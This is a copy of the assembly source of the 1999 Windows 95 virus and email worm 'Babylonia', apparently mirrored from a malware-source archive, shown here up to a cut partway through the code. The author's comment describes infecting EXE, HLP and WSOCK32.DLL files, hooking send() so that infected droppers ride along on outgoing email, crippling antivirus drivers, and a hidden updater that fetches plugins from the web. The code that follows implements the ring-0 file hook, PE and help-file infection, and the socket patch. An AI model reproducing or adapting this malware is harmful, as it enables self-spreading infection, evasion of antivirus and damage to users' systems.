mirror of
https://github.com/vxunderground/MalwareSourceCode
synced 2024-06-16 12:08:36 +00:00
3248 lines
103 KiB
NASM
3248 lines
103 KiB
NASM
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[BABYLON.ASM]ÄÄÄ
|
|
comment ^
|
|
|
|
W95/Babylonia.11036 - Set babylonia on fire!
|
|
(c) Vecna 1999
|
|
|
|
I am of the opinion that asm talk by itself to the worthwhile reader, so, i
|
|
will be brief...
|
|
|
|
This virus is a memory resident ring0/ring3 virus, infecting PE EXE files,
|
|
HLP files, and WSOCK32.DLL. The virus use EPO features, but no encryption or
|
|
poly at all, altought it can be updated via WWW. ;)
|
|
|
|
For much time, peoples where thinking about a virus upgradeable. Some attemps
|
|
where made, as W95/SK, that was able to run special preparated data in RAR
|
|
files. But how far the upgrade RAR packet can go? In this virus, i show my
|
|
implementation of a plugin format, with the modules(plug-ins) online at a
|
|
a WWW page.
|
|
|
|
The virus is also a advanced email worm, attaching itself to all outgoing
|
|
e-mails(no sending a new one as happy99), can deal with attachments already
|
|
in e-mail body, have BASE64 and uu-encode routines, and, more important, the
|
|
icon of the infected dropper sended by email change with the current date.
|
|
|
|
When a infected app(or dropper) is executed, the virus dont get control at
|
|
this moment. The virus patch a JMP or CALL, and wait be called. When this
|
|
happen, the virus load some APIs from KERNEL32.DLL memory image(using CRC32),
|
|
then jump to ring0 using a callgate. The infamous DESCRIPTOR 0 is used to
|
|
store the temporary data, breaking the pmode tabu ;)
|
|
|
|
While in ring0, the virus alloc some memory, and install a hook in IFS handler
|
|
and wait for access to PE EXE files, HLP files, and WSOCK32.DLL. The memory
|
|
is also scanned for presence of SPIDER.VXD(DrWeb) and AVP.VXD(Z0MBiE's lib).
|
|
If they're found, their code is patched in a way that it lose the ability of
|
|
open files. After returning control to the host, if the virus has just
|
|
installed memory resident, it drop the www updater to disk and spawn it.
|
|
More about the www updater below.
|
|
|
|
PE files when accessed are infected by having the virus appended to last
|
|
section, or overwrited if is was relocs, and with the CODE sections scanned
|
|
for a suitable place for a CALL VIRUS. HLP files have added a script that pass
|
|
control immediatly to virus code by using the callback features of the API of
|
|
USER32 EnumWindows().
|
|
|
|
When WSOCK32.DLL is accessed, the send() export is redirected to a chunk of
|
|
code in top of relocation info. This code get a ring0 memory pointer to the
|
|
new send() handler, by new added functionality to the GetFileAttibute() API ;)
|
|
|
|
The code in new send() scan the outgoing data by e-mail info, and add a
|
|
infected dropper at the end of it. The virus support both MIME and non-MIME
|
|
email clients, and can add the dropper in both uu-encoded and BASE64 format.
|
|
The icon of this dropper change together with the name, to reflect some dates.
|
|
|
|
All data carried with the virus is compressed using aPLib v0.22b library. I
|
|
change my old LZW scheme by this routines due the immense gain in speed,
|
|
compressed size, and code size. Is the same algorithm i used in Fabi.9608.
|
|
|
|
When the www updater is executed, it register itself, with the fake name of
|
|
KERNEL32.EXE, in registry, to run always, and copy itself to /winsys directory
|
|
to avoid easy detection. The updater hide himself in the CTRL+ALT+DEL task
|
|
list, and stay in background waiting for the user connect to the internet.
|
|
|
|
Always in background, without any user notice, the www updater then connect
|
|
to my www page, download the virus plug-ins(that have a special format, and
|
|
can be expanded, to have full compatibility with future versions). If these
|
|
modules complain with the version and features requeried to run, it is
|
|
executed. The power of this is obvious. By adding new plugins, i can make the
|
|
virus a irc-worm, infect remote drives, or even a poly engine. The problem of
|
|
the possible take down of my URL is bypassed with the smart use of forwarders
|
|
(not implemented in the public source version of the updater).
|
|
|
|
The first module online are the greetz to the peoples that helped me in this
|
|
virus, be with betatesting, be with ideas, be with moral support. Currently
|
|
i am working in new modules, with new ideas that i think will be worth of be
|
|
coded.
|
|
|
|
If you arent a d0rk, you can contact me at vecna_br@hotmail.com, but idiot
|
|
questions about how compile and like will be ignored... and your soul can be
|
|
lost in the attempt of contact me ;)
|
|
|
|
Questions about where's the entrypoint will be ignored too... ;>
|
|
|
|
^
|
|
|
|
.586p
|
|
.model flat
|
|
locals
|
|
|
|
ofs equ offset
|
|
by equ byte ptr
|
|
wo equ word ptr
|
|
dwo equ dword ptr
|
|
fwo equ fword ptr
|
|
|
|
TRUE EQU 1
|
|
FALSE EQU 0
|
|
|
|
include host.inc
|
|
|
|
_VIRUS segment dword use32 public 'KMARAI'
|
|
|
|
vcode equ this byte
|
|
|
|
DEBUG equ FALSE ;debug version?
|
|
|
|
DROPPER_SIZE equ 6144
|
|
|
|
ENTRY_READ equ 128
|
|
SKIP_FIRST equ 16
|
|
|
|
CRLF equ <13,10>
|
|
|
|
CRC_POLY equ 0EDB88320h
|
|
CRC_INIT equ 0FFFFFFFFh
|
|
|
|
crc macro string ;jp/lapse macro
|
|
.radix 16d
|
|
crcReg = CRC_INIT
|
|
irpc _x, <string>
|
|
ctrlByte = '&_x&' xor (crcReg and 0ff)
|
|
crcReg = crcReg shr 8
|
|
rept 8
|
|
ctrlByte = (ctrlByte shr 1) xor (CRC_POLY * (ctrlByte and 1))
|
|
endm
|
|
crcReg = crcReg xor ctrlByte
|
|
endm
|
|
dd crcReg
|
|
.radix 10d
|
|
endm
|
|
|
|
_gdt struc
|
|
limit dw ?
|
|
base dd ?
|
|
_gdt ends
|
|
|
|
_descriptor struc
|
|
limit_l dw ?
|
|
base_l dw ?
|
|
base_m db ?
|
|
access db ?
|
|
limit_h db ?
|
|
base_h db ?
|
|
_descriptor ends
|
|
|
|
_jmpfar struc
|
|
jmpofs32 dd ?
|
|
selectr dw ?
|
|
_jmpfar ends
|
|
|
|
_callback struc
|
|
offset_l dw ?
|
|
selector dw ?
|
|
attrib dw ?
|
|
offset_h dw ?
|
|
_callback ends
|
|
|
|
wsize2 equ 260
|
|
|
|
hook proc
|
|
db 0e9h
|
|
i_jmp dd 0 ;HLP redirector
|
|
hlp_start = ofs virusmain-$
|
|
enter 20h, 0 ;setup stack frame
|
|
push ecx
|
|
push ebx
|
|
mov ebx, [ebp+0Ch]
|
|
cmp bl, 33 ;hookz ifs_attr
|
|
je @@jmpcc
|
|
cmp bl, 36 ;hookz ifs_open
|
|
je @@jmpcc
|
|
cmp bl, 37 ;hookz ifs_ren
|
|
@@jmpcc:
|
|
jmpcc equ by $
|
|
jne @@noopen ;beware! near form of jnz
|
|
mov ebx, ebp
|
|
pusha
|
|
call delta
|
|
mov wo [ebp+(ofs jmpcc-ofs vcode)], 0e990h
|
|
add esp, -wsize2
|
|
mov edi, esp
|
|
mov eax, [ebx+10h]
|
|
inc al
|
|
jz @@nodrive
|
|
sub ax, -(":@"-1)
|
|
stosw
|
|
@@nodrive:
|
|
push 0 ;BCS_WANSI
|
|
push 255
|
|
mov eax, [ebx+1ch]
|
|
mov eax, [eax+0ch]
|
|
inc eax
|
|
inc eax
|
|
inc eax
|
|
inc eax
|
|
push eax
|
|
push edi
|
|
push 400041h ;VxDCall UniToBCSPath
|
|
call vxd
|
|
add esp, 16
|
|
dec edi ;edi=start of name
|
|
dec edi
|
|
lea esi, [edi+eax-2]
|
|
mov eax, [esi]
|
|
not eax
|
|
|
|
cmp eax, not '---.'
|
|
jne @@no_special
|
|
cmp wo [esi-10], '_\'
|
|
jne @@no_special ;trying to access the backdoor?
|
|
cmp dwo [ebx+0ch], 33 ;file attr?
|
|
jne @@no_special
|
|
mov wo [ebp+(ofs backdoor-ofs vcode)], 9090h ;wsock32.dll is calling us
|
|
@@no_special:
|
|
|
|
IF DEBUG EQ TRUE
|
|
cmp [esi-4], 'TAOG'
|
|
jne @@shit
|
|
ENDIF
|
|
xor eax, not 'EXE.' ;esi=extension
|
|
jnz @@try_hlp
|
|
|
|
doshdr equ 0
|
|
peptr equ 3ch
|
|
pehdr equ doshdr+40h
|
|
cbfr equ pehdr+0f8h
|
|
sectn equ cbfr+100h
|
|
fsize equ sectn+200h
|
|
epraw equ fsize+4
|
|
vrva equ epraw+4
|
|
lolimit equ vrva+4
|
|
uplimit equ lolimit+4
|
|
wsize4 equ uplimit+4
|
|
|
|
add esp, -wsize4 ;infect PE EXE files...
|
|
mov esi, edi
|
|
call open
|
|
jc @@err
|
|
call getsize
|
|
mov [esp+fsize], eax
|
|
cmp eax, DROPPER_SIZE ;my babies get better treatment
|
|
je @@dropper
|
|
call check_size
|
|
jz @@err1
|
|
@@dropper:
|
|
mov esi, esp
|
|
push 40h
|
|
pop ecx
|
|
sub edx, edx
|
|
call read ;read 40h of header
|
|
xor eax, ecx
|
|
jnz @@err1
|
|
movzx eax, wo [esi]
|
|
not eax
|
|
sub eax, not 'ZM' ;make sure is a EXE
|
|
jnz @@err1
|
|
|
|
cmp wo [esi+18h], 40h
|
|
jb @@err1
|
|
|
|
add cl, 0f8h-40h
|
|
sub esi, -peptr
|
|
lodsd
|
|
xchg eax, edx
|
|
call read
|
|
jc @@err1
|
|
call check_file ;already infected?
|
|
jz @@err1
|
|
|
|
movzx eax, wo [esi+22]
|
|
test eax, 0102h
|
|
jz @@err1
|
|
test eax, 3000h ;executable/no dll
|
|
jnz @@err1
|
|
|
|
movzx ecx, wo [esi+6]
|
|
cmp cl, 3
|
|
jb @@err1 ;too few sections
|
|
push 0f8h
|
|
imul ecx, ecx, 40
|
|
pop edx
|
|
add edx, [esp+peptr]
|
|
lea esi, [esp+sectn]
|
|
call read ;read section table
|
|
sub edi, edi
|
|
xchg edi, ecx
|
|
mov eax, [esp+pehdr+40]
|
|
sub eax, [esi+12]
|
|
cmp eax, [esi+8] ;entrypoint in first section?
|
|
ja @@err1
|
|
add eax, [esi+20] ;raw ofs of entrycode
|
|
mov [esp+epraw], eax
|
|
|
|
mov eax, [esi+36]
|
|
bts eax, 31 ;make 1st sec +write
|
|
jc @@err1 ;and exit if already is
|
|
bt eax, 5
|
|
jnc @@err1 ;need be CODE
|
|
test eax, 10000000h+80h+40h
|
|
jnz @@err1 ;cant be SHARED or UDATA/DATA
|
|
mov [esi+36], eax
|
|
|
|
mov eax, [esi+12]
|
|
mov [esp+lolimit], eax
|
|
add eax, [esi+8]
|
|
mov [esp+uplimit], eax ;boundaries of .code section
|
|
mov ebx, -(ofs vend-ofs vcode)
|
|
sub ecx, ebx
|
|
mov eax, [esp+pehdr+160]
|
|
sub eax, [esi+edi-40+12]
|
|
jnz @@increase ;last section isnt relocs
|
|
mov eax, [esi+edi-40+16]
|
|
add eax, ebx
|
|
jnb @@increase ;relocs too small
|
|
sub eax, eax
|
|
mov edx, eax
|
|
add eax, [esi+edi-40+12] ;rva of start of our code
|
|
mov [esp+vrva], eax
|
|
add edx, [esi+edi-40+20]
|
|
jmp @@write
|
|
@@increase:
|
|
mov eax, [esi+edi-40+8]
|
|
mov edx, eax
|
|
add eax, [esi+edi-40+12]
|
|
add edx, [esi+edi-40+20]
|
|
mov [esp+vrva], eax ;rva of start of our code
|
|
sub [esi+edi-40+8], ebx
|
|
mov eax, [esi+edi-40+16]
|
|
sub eax, ebx ;increase last section
|
|
mov ebx, [esp+pehdr+60]
|
|
dec ebx
|
|
add eax, ebx
|
|
not ebx
|
|
and eax, ebx ;align raw section size
|
|
mov [esi+edi-40+16], eax
|
|
@@write:
|
|
mov dwo [esi+edi-40+36], 0c0000040h
|
|
sub dwo [esp+vrva], -(ofs virusmain-ofs vcode)
|
|
add esi, edi
|
|
add esi, (-40+8)
|
|
lodsd
|
|
xchg ebx, eax
|
|
lodsd
|
|
add ebx, eax ;rva+size
|
|
mov eax, [esp+pehdr+56]
|
|
dec eax
|
|
add ebx, eax
|
|
not eax
|
|
and ebx, eax ;align it
|
|
mov [esp+pehdr+80], ebx ;update imagesize
|
|
mov esi, ebp
|
|
pusha
|
|
mov edx, [esp+epraw+((8*4))]
|
|
push ENTRY_READ
|
|
lea esi, [esp+cbfr+(8*4)+4]
|
|
pop ecx
|
|
call read ;read entrycode
|
|
pusha
|
|
push SKIP_FIRST
|
|
pop eax
|
|
add esi, eax ;skip first bytes(antiAV)
|
|
sub ecx, eax
|
|
@@jmp_call:
|
|
lodsb
|
|
cmp al, 0e8h ;call
|
|
je @@found
|
|
cmp al, 0e9h ;jmp
|
|
je @@found
|
|
@@loop1:
|
|
loop @@jmp_call
|
|
mov edi, [esp+(1*4)] ;put CALL at start
|
|
push 5
|
|
pop esi
|
|
jmp @@calculate
|
|
@@found:
|
|
mov edi, esi
|
|
lodsd ;displacement
|
|
mov edx, esi
|
|
sub esi, [esp+(1*4)] ;turn to distance
|
|
add eax, esi
|
|
add eax, [esp+pehdr+40+(16*4)] ;add entrypoint(our base)
|
|
cmp eax, [esp+lolimit+(16*4)]
|
|
jb @@out
|
|
cmp eax, [esp+uplimit+(16*4)] ;valid call?
|
|
jb @@fine
|
|
@@out:
|
|
sub ecx, 4
|
|
mov esi, edx
|
|
jmp @@loop1
|
|
@@fine:
|
|
dec edi
|
|
@@calculate:
|
|
push esi
|
|
mov esi, edi
|
|
lodsb
|
|
not eax
|
|
mov by [ebp+(ofs instr1-ofs vcode)], al ;save modificated code
|
|
lodsd
|
|
not eax
|
|
mov [ebp+(ofs instr2-ofs vcode)], eax
|
|
pop ecx
|
|
add ecx, [esp+pehdr+40+(16*4)] ;add entrypoint
|
|
mov al, 0e8h
|
|
stosb
|
|
mov eax, [esp+vrva+(16*4)] ;our rva
|
|
sub eax, ecx
|
|
stosd ;build call to it
|
|
popa
|
|
call write ;write entrycode
|
|
popa
|
|
call write ;write virus body
|
|
sub edx, edx
|
|
push 0f8h
|
|
lea esi, [esp+peptr+4]
|
|
lodsd
|
|
pop ecx
|
|
xchg edx, eax
|
|
bts wo [esi+22], 0
|
|
mov [esi+160], eax ;strip relocs
|
|
mov [esi+164], eax
|
|
call write ;write old header
|
|
add edx, eax
|
|
movzx ecx, wo [esi+6]
|
|
imul ecx, ecx, 40
|
|
sub esi, -(sectn-pehdr)
|
|
call write ;write section table
|
|
@@err1:
|
|
call close
|
|
@@err:
|
|
add esp, wsize4
|
|
|
|
@@try_hlp:
|
|
xor eax, not 'PLH.' xor not 'EXE.'
|
|
jnz @@wsockdll
|
|
|
|
buffer equ 0 ;stack frame
|
|
old_ofs equ 4
|
|
old_sz equ 8
|
|
patch1 equ 12
|
|
wsize3 equ 16
|
|
|
|
mainhdr equ 0 ;buffer structure
|
|
pagedir equ 10h
|
|
syshdr equ 210h
|
|
build equ 225h
|
|
|
|
add esp, -wsize3 ;infect HLP files...
|
|
mov esi, edi
|
|
call open
|
|
jc @@error000
|
|
push 32*1024
|
|
push 040000dh ;getheap
|
|
call vxd
|
|
pop ecx
|
|
mov [esp+buffer], eax
|
|
mov esi, eax ;esi=buffer.mainhdr
|
|
push 10h
|
|
pop ecx
|
|
sub edx, edx
|
|
call read ;read 10h of header
|
|
jc @@free
|
|
lodsd
|
|
xor eax, 035f3fh ;hlp signature?
|
|
jnz @@free
|
|
lodsd
|
|
lea edx, [eax+37h] ;edx=directory offset
|
|
mov ecx, 200h
|
|
lodsd
|
|
lodsd ;esi=buffer.pagedir
|
|
call read
|
|
mov ecx, eax
|
|
@@search:
|
|
dec ecx
|
|
jz @@free
|
|
cmp dwo [esi+ecx], 'SYS|'
|
|
jnz @@search
|
|
cmp dwo [esi+ecx+4], 'MET'
|
|
jnz @@search
|
|
mov eax, [esi-4] ;eax=end of file
|
|
xchg eax, [esi+ecx+8] ;section code = end of file
|
|
xchg eax, edx
|
|
push 15h
|
|
push 15h
|
|
sub esi, -(syshdr-pagedir)
|
|
pop ecx
|
|
call read ;read sys hdr
|
|
mov ecx, [esi]
|
|
pop eax
|
|
sub ecx, eax
|
|
add edx, eax
|
|
mov [esp+old_ofs], edx
|
|
mov [esp+old_sz], ecx ;save old code position/size
|
|
mov edi, [esp.buffer]
|
|
sub edi, -build
|
|
lea esi, [ebp+(ofs hlp1_s-ofs vcode)]
|
|
lea eax, [edi+(ofs _size-ofs hlp1_s)]
|
|
mov [esp.patch1], eax
|
|
push hlp1_sz
|
|
pop ecx
|
|
@@decr:
|
|
lodsb ;copy start macro
|
|
not al
|
|
stosb
|
|
loop @@decr
|
|
push edi ;edi=buffer
|
|
mov dwo [ebp+(ofs i_jmp-ofs vcode)], hlp_start
|
|
lea esi, [ebp+(ofs vend-ofs vcode)]
|
|
@@next:
|
|
add esi, -4
|
|
mov eax, [esi]
|
|
call check
|
|
test edx, edx ;can make it directly?
|
|
jnz @@ext
|
|
mov al, 12h ;push ?
|
|
org $-1
|
|
push 12345678h
|
|
org $-4
|
|
stosb
|
|
mov eax, [esi]
|
|
stosd
|
|
jmp @@done_
|
|
@@ext:
|
|
mov al, 0b8h ;mov eax, ?
|
|
stosb
|
|
mov eax, [esi]
|
|
xor eax, edx
|
|
stosd
|
|
mov al, 35h ;xor eax, ?
|
|
stosb
|
|
mov eax, edx
|
|
stosd
|
|
mov al, 50h ;push eax
|
|
stosb
|
|
@@done_:
|
|
cmp esi, ebp
|
|
jne @@next
|
|
pop eax
|
|
mov ecx, edi
|
|
sub ecx, eax ;ecx=poly code
|
|
sub eax, eax
|
|
mov dwo [esi+(ofs i_jmp-ofs vcode)], eax
|
|
push ecx
|
|
add ecx, (ofs hlp1_e-ofs p1)+(ofs hlp2_e-ofs hlp1_e)
|
|
mov eax, [esp.patch1+4]
|
|
mov wo [eax], cx ;patch macro size
|
|
sub esi, -(ofs hlp1_e-ofs vcode)
|
|
push hlp2_sz
|
|
pop ecx
|
|
rep movsb ;copy end macro
|
|
pop eax
|
|
mov esi, [esp.buffer]
|
|
sub esi, -syshdr
|
|
add eax, hlp2_e-hlp1_s
|
|
add [esi], eax
|
|
add [esi+4], eax ;fix syshdr size
|
|
mov esi, edi
|
|
mov edx, [esp.old_ofs]
|
|
mov ecx, [esp.old_sz]
|
|
sub eax, ecx ;old script too large?
|
|
jbe @@free
|
|
call read ;read old code
|
|
cmp [esi+4], "`(RR"
|
|
je @@free ;probably already infected
|
|
mov ebp, [esp.buffer] ;ebp=buffer
|
|
lea ecx, [edi+eax]
|
|
sub ecx, ebp ;ecx=our size
|
|
add ecx, -syshdr
|
|
mov edx, [ebp.mainhdr+12]
|
|
lea esi, [ebp.syshdr]
|
|
call write ;write our code
|
|
mov esi, [esp.buffer]
|
|
push 10h
|
|
add [esi.mainhdr+12], eax
|
|
sub edx, edx
|
|
pop ecx
|
|
call write ;write main header
|
|
mov edx, [esi.mainhdr+4]
|
|
sub edx, -37h
|
|
mov ecx, 200h
|
|
add esi, pagedir
|
|
call write ;write directory
|
|
@@free:
|
|
push dwo [esp+buffer]
|
|
push 040000eh ;freeheap
|
|
call vxd
|
|
pop eax
|
|
call close ;close file
|
|
@@error000:
|
|
add esp, wsize3
|
|
|
|
@@wsockdll:
|
|
; xor eax, not 'EXE.' xor not 'PLH.' xor not 'LLD.'
|
|
xor eax, 01c000c00h
|
|
jnz @@shit
|
|
IF DEBUG EQ FALSE
|
|
mov eax, [esi-4]
|
|
mov esi, [esi-8]
|
|
not eax
|
|
xchg eax, esi
|
|
not eax
|
|
cmp esi, not '23KC'
|
|
jne @@shit
|
|
cmp eax, not 'OSW\'
|
|
jne @@shit
|
|
ENDIF
|
|
|
|
obufer equ 0 ;stack frame
|
|
header equ obufer+3ch
|
|
pe_hdr equ header+4
|
|
section equ pe_hdr+0f8h
|
|
export equ section+200h
|
|
vofs equ export+4
|
|
vraw equ vofs+4
|
|
etable equ vraw+4
|
|
wsize1 equ etable+(4*20)
|
|
|
|
add esp, -wsize1 ;patch WSOCK32.DLL...
|
|
mov esi, edi
|
|
call open
|
|
jc @@error0
|
|
call getsize
|
|
mov edi, eax
|
|
call check_size
|
|
jz @@error1
|
|
sub edx, edx
|
|
mov ecx, 40h
|
|
lea esi, [esp+obufer]
|
|
call read
|
|
cmp wo [esp+obufer], 'ZM'
|
|
jne @@error1
|
|
push 0f8h
|
|
pop ecx
|
|
mov edx, [esp+header]
|
|
cmp edx, edi
|
|
jae @@error1 ;point outside of the file?
|
|
lea esi, [esp+pe_hdr]
|
|
call read
|
|
jc @@error1
|
|
call check_file
|
|
jz @@error1
|
|
call write ;write pe header
|
|
add edx, eax
|
|
movzx ecx, wo [esi+6]
|
|
push ecx
|
|
imul ecx, ecx, 40
|
|
lea esi, [esp+section+4]
|
|
call read ;read section table
|
|
pop ecx
|
|
@@writeable:
|
|
bts dwo [esi+36], 31 ;make all sections writeable
|
|
sub esi, -40
|
|
loop @@writeable
|
|
mov [esi-40+36], 0c0000040h
|
|
mov ecx, [esi-40+8] ;increase last section
|
|
push ecx
|
|
add ecx, [esi-40+20]
|
|
mov [esp+vraw+4], ecx ;raw of our patch
|
|
pop ecx
|
|
add ecx, [esi-40+12]
|
|
mov [esp+vofs], ecx ;rva of our patch
|
|
add dwo [esi-40+8], (ofs pend-ofs pstart)
|
|
mov ebx, [esi-40+8]
|
|
cmp ebx, [esi-40+16]
|
|
jbe @@fit
|
|
mov ecx, [esp+pe_hdr+60]
|
|
dec ecx
|
|
add ebx, ecx
|
|
not ecx
|
|
and ebx, ecx
|
|
mov [esi-40+16], ebx ;align
|
|
@@fit:
|
|
xchg eax, ecx
|
|
lea esi, [esp+section]
|
|
call write
|
|
mov eax, [esp+pe_hdr+120] ;eax=export table
|
|
call rva2raw
|
|
xchg eax, edx
|
|
push 4
|
|
pop ecx
|
|
sub edx, -28
|
|
lea esi, [esp+export]
|
|
call read ;read export table addresses
|
|
mov eax, [esi]
|
|
call rva2raw
|
|
xchg eax, edx
|
|
push (4*20)
|
|
pop ecx
|
|
lea esi, [esp+etable] ;read 20 exports
|
|
call read
|
|
mov eax, [esp+vofs]
|
|
mov edi, [esp+pe_hdr+52] ;wsock32 base
|
|
sub eax, -(ofs send-ofs pstart)
|
|
xchg [esi+(4*18)], eax ;hook send
|
|
add edi, eax
|
|
mov [ebp+(ofs oldsend-ofs vcode)], edi
|
|
mov [ebp+(ofs _send-ofs vcode)], edi
|
|
call write
|
|
mov edx, [esp+vraw]
|
|
push (ofs pend-ofs pstart)
|
|
pop ecx
|
|
call delta
|
|
sub ebp, -(ofs pstart-ofs vcode)
|
|
xchg esi, ebp
|
|
call write ;write our patch
|
|
@@error1:
|
|
call close
|
|
@@error0:
|
|
add esp, wsize1
|
|
|
|
@@shit:
|
|
add esp, wsize2 ;release tmp buffer
|
|
mov wo [ebp+(ofs jmpcc-ofs vcode)], 0850fh
|
|
popa
|
|
|
|
@@noopen:
|
|
push 6
|
|
push 1Ch
|
|
pop ebx
|
|
pop ecx ;total=6 paramz
|
|
@@nparam:
|
|
mov eax, [ebp+ebx] ;copy paramz from old frame
|
|
push eax ;to new frame
|
|
add ebx, -4
|
|
loop @@nparam
|
|
db 0b8h ;mov eax, ?
|
|
oldhook dd 0
|
|
call [eax] ;call old hookz
|
|
add esp, 6*4
|
|
|
|
backdoor equ $
|
|
jmp @@closed
|
|
call @@delta
|
|
@@delta:
|
|
pop ecx
|
|
add ecx, (ofs my_send-ofs @@delta)
|
|
mov wo [ecx-(ofs my_send-ofs backdoor)], ((ofs @@closed-(ofs backdoor+2))*100h)+0ebh
|
|
mov ebx, [ebp+1ch] ;ioreq
|
|
push esi
|
|
mov esi, [ebx+14h]
|
|
lodsd ;c:\_
|
|
sub eax, eax
|
|
mov ebx, eax
|
|
@@byte:
|
|
lodsb ;get filename char
|
|
inc ah
|
|
sub al, 'A'
|
|
or bl, al ;build address
|
|
cmp ah, 8
|
|
je @@doneb
|
|
shl ebx, 4
|
|
jmp @@byte
|
|
@@doneb:
|
|
mov [ebx], ecx ;patch requested address
|
|
pop esi
|
|
@@closed:
|
|
|
|
pop ebx
|
|
pop ecx
|
|
leave
|
|
ret
|
|
hook endp
|
|
|
|
|
|
delta proc
|
|
call @@delta
|
|
@@delta:
|
|
pop ebp
|
|
add ebp, -(ofs @@delta-ofs vcode)
|
|
ret
|
|
delta endp
|
|
|
|
|
|
check_file proc
|
|
mov eax, [esi]
|
|
not eax
|
|
cmp eax, not 'EP'
|
|
jne @@error
|
|
cmp wo [esi+4], 14ch ;386
|
|
jb @@error
|
|
cmp wo [esi+4], 14eh ;586
|
|
ja @@error
|
|
xor eax, edx ;(not('PE')xor(pe_ofs)xor(entry))
|
|
bswap eax
|
|
xor eax, [esi+40]
|
|
cmp [esi+8], eax ;infected?
|
|
mov [esi+8], eax
|
|
db 066h, 0b8h ;mov ax, ?
|
|
@@error:
|
|
sub eax, eax
|
|
ret
|
|
check_file endp
|
|
|
|
|
|
gdt equ 0
|
|
idt equ 6
|
|
ring0_cs equ 12
|
|
ring0_ds equ 16
|
|
jmpfar equ 20
|
|
wsize equ 26
|
|
|
|
kernel32 equ 0bff70000h
|
|
|
|
virusmain proc
|
|
pushf
|
|
pusha
|
|
add esp, -wsize
|
|
cld
|
|
sub eax, eax
|
|
call @@seh
|
|
mov esp, [esp+8] ;hmm... SEH... :/
|
|
jmp @@installed
|
|
@@seh:
|
|
push dwo fs:[eax]
|
|
mov fs:[eax], esp
|
|
mov esi, [kernel32+80h+120] ;get kernel32 APIs...
|
|
mov esi, [esi]
|
|
sub esi, -(kernel32+24) ;esi=export directory+24
|
|
lodsd
|
|
push eax
|
|
lodsd
|
|
push eax
|
|
lodsd
|
|
xchg ebx, eax
|
|
pop ebp ;ebp=RVA table
|
|
pop ecx ;ecx=number of names
|
|
lodsd
|
|
xchg esi, eax ;esi=names table
|
|
xchg esi, ebx ;ebx=ordinal table
|
|
mov edx, -kernel32
|
|
sub esi, edx
|
|
sub ebp, edx
|
|
sub ebx, edx ;edx=-kernel32
|
|
sub edi, edi
|
|
@@loopy:
|
|
inc edi ;edi=ordinal counter
|
|
lodsd ;eax=API name string
|
|
pusha
|
|
sub eax, edx
|
|
xchg eax, esi
|
|
push CRC_INIT ;calculate crc of string
|
|
pop ecx
|
|
@@next_byte:
|
|
lodsb
|
|
test al, al
|
|
jz @@done
|
|
xor cl, al
|
|
mov al, 8
|
|
@@next_bit:
|
|
shr ecx, 1
|
|
jnc @@poly
|
|
xor ecx, CRC_POLY
|
|
@@poly:
|
|
dec al
|
|
jnz @@next_bit
|
|
jmp @@next_byte
|
|
@@done:
|
|
call @@delta1
|
|
@@delta1:
|
|
pop esi
|
|
add esi, (ofs _openfile-ofs @@delta1)
|
|
cmp ecx, 12345678h ;crcz of API
|
|
org $-4
|
|
crc <CreateFileA>
|
|
je @@patch_api
|
|
sub esi, -((ofs _getfattr-ofs vcode)-(ofs _openfile-ofs vcode))
|
|
cmp ecx, 12345678h
|
|
org $-4
|
|
crc <GetFileAttributesA>
|
|
je @@patch_api
|
|
sub esi, -((ofs _writefile-ofs vcode)-(ofs _getfattr-ofs vcode))
|
|
cmp ecx, 12345678h
|
|
org $-4
|
|
crc <WriteFile>
|
|
je @@patch_api
|
|
add esi, ((ofs _closehandle-ofs vcode)-(ofs _writefile-ofs vcode))
|
|
cmp ecx, 12345678h
|
|
org $-4
|
|
crc <CloseHandle>
|
|
je @@patch_api
|
|
sub esi, -((ofs _seekfile-ofs vcode)-(ofs _closehandle-ofs vcode))
|
|
cmp ecx, 12345678h
|
|
org $-4
|
|
crc <SetFilePointer>
|
|
je @@patch_api
|
|
add esi, (ofs _loadl-ofs vcode)-(ofs _seekfile-ofs vcode)
|
|
cmp ecx, 12345678h
|
|
org $-4
|
|
crc <LoadLibraryA>
|
|
je @@patch_api
|
|
add esi, (ofs _freel-ofs vcode)-(ofs _loadl-ofs vcode)
|
|
cmp ecx, 12345678h
|
|
org $-4
|
|
crc <FreeLibrary>
|
|
je @@patch_api
|
|
sub esi, -((ofs _getproc-ofs vcode)-(ofs _freel-ofs vcode))
|
|
cmp ecx, 12345678h
|
|
org $-4
|
|
crc <GetProcAddress>
|
|
je @@patch_api
|
|
add esi, (ofs _gsystime-ofs vcode)-(ofs _getproc-ofs vcode)
|
|
cmp ecx, 12345678h
|
|
org $-4
|
|
crc <GetSystemTime>
|
|
je @@patch_api
|
|
sub esi, -((ofs _fdelete-ofs vcode)-(ofs _gsystime-ofs vcode))
|
|
cmp ecx, 12345678h
|
|
org $-4
|
|
crc <DeleteFileA>
|
|
je @@patch_api
|
|
add esi, (ofs _readfile-ofs vcode)-(ofs _fdelete-ofs vcode)
|
|
cmp ecx, 12345678h
|
|
org $-4
|
|
crc <ReadFile>
|
|
je @@patch_api
|
|
add esi, (ofs _getmhandle-ofs vcode)-(ofs _readfile-ofs vcode)
|
|
cmp ecx, 12345678h
|
|
org $-4
|
|
crc <GetModuleHandleA>
|
|
je @@patch_api
|
|
sub esi, -((ofs _winexec-ofs vcode)-(ofs _getmhandle-ofs vcode))
|
|
cmp ecx, 12345678h
|
|
org $-4
|
|
crc <WinExec>
|
|
jne @@end_loopy
|
|
|
|
@@patch_api:
|
|
movzx eax, wo [ebx+(edi*2)] ;get ordinal
|
|
dec eax
|
|
mov eax, [ebp+(eax*4)] ;get rva
|
|
sub eax, edx
|
|
mov [esi], eax ;got it!
|
|
@@end_loopy:
|
|
popa
|
|
dec ecx
|
|
jnz @@loopy ;all APIs scanned
|
|
|
|
call delta
|
|
lea eax, [ebp+(ofs wsock-ofs vcode)]
|
|
push eax
|
|
db 0b8h
|
|
_loadl dd 0
|
|
call eax ;load wsock32.dll
|
|
xchg eax, ecx
|
|
jecxz @@suxx
|
|
push ecx ;for FreeLibrary
|
|
call @@send
|
|
db 'send', 0
|
|
@@send:
|
|
push ecx
|
|
db 0b8h+7 ;GetProcAddress
|
|
_getproc dd 0
|
|
call edi
|
|
cmp by [eax], 0e8h ;the difference between masters
|
|
jne @@isnt ;and pupils ;)
|
|
cmp by [eax+5], 0b8h
|
|
jne @@isnt
|
|
mov eax, [eax+6] ;get real addy :)
|
|
@@isnt:
|
|
